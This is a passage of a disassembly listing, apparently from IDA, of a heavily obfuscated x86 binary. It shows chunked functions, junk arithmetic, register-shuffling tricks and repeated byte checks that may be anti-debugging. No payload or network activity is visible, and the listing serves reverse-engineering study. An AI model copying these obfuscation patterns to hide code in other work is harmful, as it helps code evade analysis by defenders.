loc_10015CD5: ; CODE XREF: sub_1001C26A+Ej jmp loc_10017B75 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10015CDA: ; CODE XREF: sub_10015B1B-CBAj not ebx shl edx, 9 test eax, 0DD99931Eh jmp loc_10013274 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- mov eax, [ebp-30h] push ecx push 89D70A22h xchg edx, [esp] mov ecx, edx jmp loc_10018397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10015CFD: ; CODE XREF: an.kk9rg:1001B7BAj ; sub_1001BBDA+Cj jnz loc_1001D5F8 jmp loc_1001B115 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015D08: ; CODE XREF: sub_10016167-435j jz loc_1001AD36 jmp loc_1001C4E0 ; --------------------------------------------------------------------------- loc_10015D13: ; CODE XREF: sub_10016167+3BF7j xor eax, 12BAAE2Dh add eax, 1717D07Ah add eax, ebp add eax, 8AD42A9Fh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001AD3B jmp loc_10015D08 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10015D37: ; CODE XREF: sub_1001C26A:loc_1001A732j mov edx, esi adc eax, 0FF406935h ror edx, 16h jmp loc_10013871 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- loc_10015D47: ; CODE XREF: an.kk9rg:100142A3j push esi ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_10015D48: ; CODE XREF: sub_1001CD85+Dj sub ebx, 0ADB97A30h or ebx, 185666F2h cmp ebx, 8BC7B87Dh jmp loc_100172C4 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10015D5F: ; CODE XREF: sub_10016734+5DDDj jz loc_10017C91 jmp loc_1001D143 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_10015D6A: ; CODE XREF: sub_1001D9A7:loc_1001DA3Cj test ebp, 453C54Dh jmp loc_10013248 ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10015D75: ; CODE XREF: sub_10016B29:loc_10014C4Ej xor edi, 458FFFB7h add edi, 0BA100D4Dh xchg edi, [esp+8+var_8] push edi push offset loc_10017382 jmp loc_10018392 ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10015D8F: ; CODE XREF: sub_1001C2D8-6A0Aj pop edi xchg edi, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10015D94: ; CODE XREF: sub_1001456F+8A66j jmp loc_10016DEC ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- loc_10015D99: ; CODE XREF: an.kk9rg:1001C1A7j jmp loc_10015211 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015D9E proc near ; CODE XREF: sub_1001A54C+2557p ; FUNCTION CHUNK AT 1001526E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10015FDD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001607A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10016551 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100167B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017C29 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A92 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10018D57 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100195EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AC2B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B1F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C33A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C37B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C516 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001CD45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D417 SIZE 0000001C BYTES push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp jmp loc_10017C29 sub_10015D9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015DAB: ; CODE XREF: an.kk9rg:100172B3j jnb loc_1001973D cmp ecx, edi jmp loc_10015C0E ; --------------------------------------------------------------------------- loc_10015DB8: ; CODE XREF: an.kk9rg:10013683j ; an.kk9rg:loc_1001C793j pop esi ; =============== S U B R O U T I N E ======================================= sub_10015DB9 proc near ; CODE XREF: sub_1001A97E-1A2Bp ; FUNCTION CHUNK AT 1001588F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 10015B33 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10016855 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019658 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A45C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D702 SIZE 0000000C BYTES xchg esi, [esp+0] pop esi add eax, ebp add eax, 0ED93ADD6h mov eax, [eax] popf mov al, [eax] jmp loc_10019658 sub_10015DB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015DCF proc near ; DATA XREF: sub_10015E0D+4260o mov esp, ebp pop ebp retn sub_10015DCF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10015DD3: ; CODE XREF: sub_10013688:loc_10015A30j rol eax, 0Ah push eax jmp sub_100194D6 ; END OF FUNCTION CHUNK FOR sub_10013688 ; =============== S U B R O U T I N E ======================================= sub_10015DDC proc near ; CODE XREF: sub_10015086+364Ap ; an.kk9rg:10019BF4j xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov esp, ebp pop ebp retn sub_10015DDC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10015DE7: ; CODE XREF: sub_100181E1-3B14j add esi, eax xchg ebx, [esi] loc_10015DEB: ; CODE XREF: sub_100181E1:loc_10013128j push edi mov edi, eax xchg edi, [esp+4+var_4] lea eax, loc_100180E8 jmp loc_10018077 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- locret_10015DFC: ; CODE XREF: an.kk9rg:loc_1001C6FDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10015DFD: ; CODE XREF: sub_10015086+2CBFj jmp loc_1001B713 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015E02: ; CODE XREF: sub_10019409-3F0Ej push edi mov edi, eax xchg edi, [esp+0] jmp loc_1001A84E ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015E0D proc near ; CODE XREF: sub_1001B913j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100132D6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10013628 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013800 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100138CE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10013A00 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 10015061 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015666 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100165E4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10016CBF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017A14 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10018AAC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A06A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A263 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001C669 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D09A SIZE 00000016 BYTES push ebp mov ebp, esp push ecx jmp loc_10018AAC sub_10015E0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015E16: ; CODE XREF: sub_100136D7+7695j shl ecx, 19h cmp edx, edi jmp loc_1001B7E4 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10015E20: ; CODE XREF: an.kk9rg:10014D94j add eax, 28h mov [ebp-4], eax inc dword ptr [ebp-0Ch] push offset loc_100180A1 jmp loc_1001DA24 ; --------------------------------------------------------------------------- add ecx, ebp jmp sub_10016E8B ; =============== S U B R O U T I N E ======================================= sub_10015E3A proc near ; CODE XREF: an.kk9rg:10014A01j ; an.kk9rg:10017BEAp ; FUNCTION CHUNK AT 10014B60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100158D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10016A0F SIZE 0000000C BYTES xchg eax, [esp+0] pop eax mov eax, [eax] mov al, [eax] jmp loc_10016A0F sub_10015E3A endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015E48: ; CODE XREF: an.kk9rg:loc_10019107j ; an.kk9rg:1001DDCAj jmp loc_1001D0B0 ; --------------------------------------------------------------------------- loc_10015E4D: ; CODE XREF: an.kk9rg:10014E39j jmp loc_10015881 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10015E52: ; CODE XREF: sub_1001A54C+13ADj pushf loc_10015E53: ; CODE XREF: an.kk9rg:loc_1001DD6Cj push offset sub_10013061 jmp loc_100169CD ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_10015E5D: ; CODE XREF: an.kk9rg:1001A10Ej jnz loc_10013639 jmp loc_10014C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10015E68: ; CODE XREF: sub_1001C2D8-8052j jge loc_100158C6 loc_10015E6E: ; CODE XREF: sub_1001C2D8:loc_100185BEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001ABF5 jmp loc_1001BACE ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- cmp ecx, 95E3E93Eh jmp loc_10017B64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CC4A loc_10015E8A: ; CODE XREF: sub_1001CC4A:loc_1001D457j cmp dword ptr [eax-1Ch], 0F6h setz al call sub_100182D9 push offset sub_100164ED jmp sub_1001D089 ; END OF FUNCTION CHUNK FOR sub_1001CC4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100179FF loc_10015EA3: ; CODE XREF: sub_100179FF:loc_100145E3j push offset loc_1001A094 jmp loc_1001AB24 ; END OF FUNCTION CHUNK FOR sub_100179FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10015EAD: ; CODE XREF: sub_1001C799:loc_100185E0j mov eax, 0C42EC41Eh push edi push 0D9541F93h pop edi jmp loc_1001389A ; END OF FUNCTION CHUNK FOR sub_1001C799 ; =============== S U B R O U T I N E ======================================= sub_10015EBE proc near ; DATA XREF: an.kk9rg:1001C349o ; FUNCTION CHUNK AT 10014648 SIZE 00000006 BYTES push ecx push 0C0F31878h pop ecx and ecx, 93E8A09h jmp loc_10014648 sub_10015EBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015ED0: ; CODE XREF: sub_10019409:loc_100186D5j sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl jmp loc_10016EB1 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10015EE8: ; CODE XREF: sub_10018066+18B2j jle loc_10016A61 loc_10015EEE: ; CODE XREF: sub_10018066:loc_1001D3A6j mov eax, [esp+0] loc_10015EF1: ; CODE XREF: an.kk9rg:loc_10016673j push ecx mov ecx, eax xchg ecx, [esp+4+var_4] loc_10015EF7: ; CODE XREF: an.kk9rg:loc_1001DDCFj jmp loc_10018452 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10015EFC: ; CODE XREF: sub_1001564A+5BFDj add edi, 2B0BFF40h push ecx jmp loc_100158DB ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10015F08: ; CODE XREF: sub_10016D04+4849j jl loc_100135DD ror esi, 0Eh jmp loc_10013AAD ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015F16: ; CODE XREF: sub_10018AB1:loc_100138E7j ; sub_10016167+A45j ... push offset loc_100169F5 jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_10015F20: ; CODE XREF: sub_1001C9F8:loc_1001D055j xor edi, 9B3DF7B3h cmp edi, 0C0827FDFh jmp loc_100135CE ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; =============== S U B R O U T I N E ======================================= sub_10015F31 proc near ; DATA XREF: an.kk9rg:1001A806o ; FUNCTION CHUNK AT 10016120 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100165DE SIZE 00000006 BYTES push edx push 9AD33680h pop edx or edx, 0E69A3AE9h sub edx, 32453C2Dh test edx, 1 jmp loc_10016120 sub_10015F31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_10015F4F: ; CODE XREF: sub_10014C0D:loc_10016AE0j mov edi, ecx xchg edi, [esp+4+var_4] push offset loc_10018445 jmp loc_1001BABA ; END OF FUNCTION CHUNK FOR sub_10014C0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10015F5F: ; CODE XREF: sub_1001C2D8:loc_100192CBj rol edi, 0Ah jmp loc_1001A488 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- mov edi, 167DF923h jmp loc_1001AAEB ; --------------------------------------------------------------------------- shl edi, 2 test edi, 9A9EFD21h jmp loc_10018987 ; --------------------------------------------------------------------------- loc_10015F7F: ; CODE XREF: an.kk9rg:10019E6Bj add eax, ebp add eax, 4C12D4EFh mov eax, [eax] push eax call sub_1001B913 jmp loc_10014D91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10015F94: ; CODE XREF: sub_1001B5A3:loc_10018AF6j jge loc_10015FCB sub ecx, 5CF83FEDh loc_10015FA0: ; CODE XREF: sub_100151FD:loc_1001D70Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001C491 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- rol ebx, 17h popf jmp sub_100184A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_10015FB4: ; CODE XREF: sub_1001CD85:loc_100174B5j ; an.kk9rg:100174C7j add ebx, 73A9384Eh mov [ebx], eax pop ebx push offset sub_1001CFB1 jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; =============== S U B R O U T I N E ======================================= sub_10015FC7 proc near ; CODE XREF: sub_10015402+29F7p ; an.kk9rg:10019D2Fj xchg edi, [esp+0] pop edi sub_10015FC7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10015FCB: ; CODE XREF: sub_1001B5A3:loc_10015F94j xchg edx, [esp-8+arg_4] loc_10015FCE: ; CODE XREF: an.kk9rg:loc_100186EDj ror eax, 4 loc_10015FD1: ; CODE XREF: sub_1001ABFD:loc_10018EF8j mov ds:dword_10018190, eax retn ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- loc_10015FD8: ; CODE XREF: an.kk9rg:10017D7Bj jmp loc_10017EF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10015FDD: ; CODE XREF: sub_10015D9E:loc_1001AC2Bj rol eax, 4 push eax jmp sub_10018A13 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push ecx push 11EE2C9Bh pop ecx sub ecx, 809E510Bh test ecx, 20000h jmp loc_10017FB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015FFE: ; CODE XREF: sub_100132E5:loc_1001DA82j push offset loc_100160D3 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10016003: ; CODE XREF: sub_10016734:loc_1001B844j jmp loc_10013090 ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001600A: ; CODE XREF: sub_100138FD+97C3j jmp loc_1001AB9F ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- loc_1001600F: ; CODE XREF: an.kk9rg:10019E09j ; an.kk9rg:1001A09Ej jz loc_100143B9 jmp loc_10013AFE ; --------------------------------------------------------------------------- loc_1001601A: ; DATA XREF: sub_1001555F+9o pop ecx mov [ebp-20h], eax ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001601E: ; CODE XREF: sub_10015995-C3Dj ; sub_10018C76-3BC4j ... js loc_10016403 test byte ptr [ebp-8], 40h jz loc_10018FCE push ebp mov eax, [ebp-20h] call sub_10014CCE jmp loc_100145E8 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_1001603C proc near ; DATA XREF: sub_1001701B+68D8o ; FUNCTION CHUNK AT 100151D8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100159B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001887C SIZE 0000001E BYTES mov eax, [esp+0] push edx call sub_1001AAE3 push 443F5E77h pop eax jmp loc_1001887C sub_1001603C endp ; --------------------------------------------------------------------------- ror ebp, 0Eh jmp sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_10016058: ; CODE XREF: sub_1001B2CC:loc_1001CA22j add esi, 0A72DD31Bh xchg esi, [esp+0] jmp sub_10018330 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; --------------------------------------------------------------------------- mov eax, 48EA2DE1h call sub_10018A31 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016070: ; CODE XREF: sub_10016167+2503j jmp loc_1001567F ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A51D loc_10016075: ; CODE XREF: sub_100141B5+7j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_1001A51D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001607A: ; CODE XREF: sub_10015D9E:loc_10017C29j push ecx mov esp, ebp pop ebp push 0D6C50B85h pop eax xor eax, 838FEC40h and eax, 692358D5h jmp loc_1001B1F0 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- test esi, ebx jmp loc_1001DC0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001609C: ; CODE XREF: sub_1001C2D8:loc_1001CCE8j mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C9C1 jmp loc_1001AD55 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_100160AE: ; CODE XREF: sub_10017BF9-2E6Dj cmp ebp, edi jmp loc_10019A60 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_100160B5: ; CODE XREF: an.kk9rg:loc_10019A13j jz loc_1001DDA8 ; START OF FUNCTION CHUNK FOR sub_10014189 loc_100160BB: ; CODE XREF: sub_10014189+74B9j jmp loc_10017F93 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- mov [edi], ebx add edi, 0CF323FEAh js loc_10019438 jmp loc_1001DDA8 ; --------------------------------------------------------------------------- loc_100160D3: ; DATA XREF: sub_100132E5:loc_10015FFEo mov al, [eax] jnz loc_10015739 sub al, 99h mov edx, [ebp-4] push offset loc_10017133 jmp loc_10019E90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_100160EA: ; CODE XREF: sub_10015469+Cj jnz loc_100158F0 call sub_100180C2 mov edx, 0B9726E5Ah call sub_1001534D push eax jmp loc_10014C08 ; END OF FUNCTION CHUNK FOR sub_10015469 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10016105: ; CODE XREF: sub_10018E79+2705j jp loc_1001A1B6 loc_1001610B: ; CODE XREF: sub_10018E79:loc_1001C0F8j ; sub_10017394:loc_1001CF76j call sub_100152C7 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_10016110: ; CODE XREF: sub_10014A06+Aj jmp loc_1001462E ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10016115: ; CODE XREF: sub_1001ABFD+1F23j adc ebx, 0E1A0CA36h jmp loc_1001C9B6 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015F31 loc_10016120: ; CODE XREF: sub_10015F31+19j ; an.kk9rg:loc_100192EBj jz loc_100165E4 push ebx jnb loc_100177DA jmp loc_100165DE ; END OF FUNCTION CHUNK FOR sub_10015F31 ; --------------------------------------------------------------------------- loc_10016132: ; CODE XREF: an.kk9rg:1001C426j xchg ebx, [esp] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] call sub_1001893F loc_10016142: ; CODE XREF: an.kk9rg:10014D7Dj jmp loc_100137EC ; --------------------------------------------------------------------------- jns loc_1001BADE shr ecx, 0Fh jmp sub_1001D5AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10016155: ; CODE XREF: sub_1001620D:loc_10015B58j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_100135B6 ; END OF FUNCTION CHUNK FOR sub_1001620D ; =============== S U B R O U T I N E ======================================= sub_10016167 proc near ; CODE XREF: sub_10018A13j ; DATA XREF: sub_10018352+6B7o ; FUNCTION CHUNK AT 10014580 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014A90 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015229 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001567F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015D08 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 10015F16 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016070 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016521 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100169FA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016BAA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10018664 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018ADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019D4C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10019DAC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019DF8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A466 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001AA0A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AD00 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001AD36 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B801 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001C1FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C260 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001C4E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8D9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001C9E4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001DEE9 SIZE 00000006 BYTES cmp al, 0A4h jz loc_1001AD36 jmp loc_100146E3 sub_10016167 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10016174: ; CODE XREF: an.kk9rg:loc_10017EE8j xchg ebx, [esp] push 7ED1F500h pop edi sub edi, 0DE7ECEC3h test edi, 1000000h jmp loc_10019A13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001618E: ; CODE XREF: sub_10017394-2ECFj jnz loc_1001984C shl ebp, 1Fh loc_10016197: ; CODE XREF: sub_10017394:loc_1001A92Cj call sub_100180C2 push 82DDD94Dh pop edx jmp loc_1001CBCA ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_100161A7: ; DATA XREF: sub_100190EB+4244o mov eax, [ebp+8] mov eax, [eax-18h] and eax, 7 mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_100161B7: ; CODE XREF: sub_1001A12F:loc_10016E52j jnz loc_1001C7B0 cmp dword ptr [ebp-0Ch], 5 jnz loc_1001C7B0 jmp loc_1001C7A9 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100161CC: ; CODE XREF: sub_1001A97E+Cj jz loc_10017304 jmp loc_100187D8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100161D7: ; CODE XREF: sub_100130C7+Ej ; sub_10015945+1Aj ... jnb loc_100184F4 mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_1001774E mov eax, [ebp-8] shl eax, 3 jmp loc_10017C79 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- loc_100161F4: ; CODE XREF: an.kk9rg:1001878Dj not eax jz loc_1001C50B jb loc_1001632D loc_10016202: ; CODE XREF: an.kk9rg:loc_10014A1Dj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_10014AA4 ; =============== S U B R O U T I N E ======================================= sub_1001620D proc near ; CODE XREF: sub_10016D66-2D57p ; an.kk9rg:1001C157j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100135B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015B58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016155 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10018519 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C0C6 SIZE 00000015 BYTES xchg ecx, [esp+0] pop ecx cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_10015B58 sub_1001620D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10016227: ; CODE XREF: sub_1001564A:loc_10015645j jg loc_1001B6FB ja loc_10019CF4 jmp loc_1001D684 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_10016238: ; CODE XREF: sub_1001AC73-55BCj sub al, 99h push 3265515h pop edx jmp loc_10018141 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B010 loc_10016246: ; CODE XREF: sub_1001B010-6939j jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_1001B010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001624B: ; CODE XREF: sub_10016D66:loc_10013FE9j jz loc_1001468E jmp loc_1001A123 ; END OF FUNCTION CHUNK FOR sub_10016D66 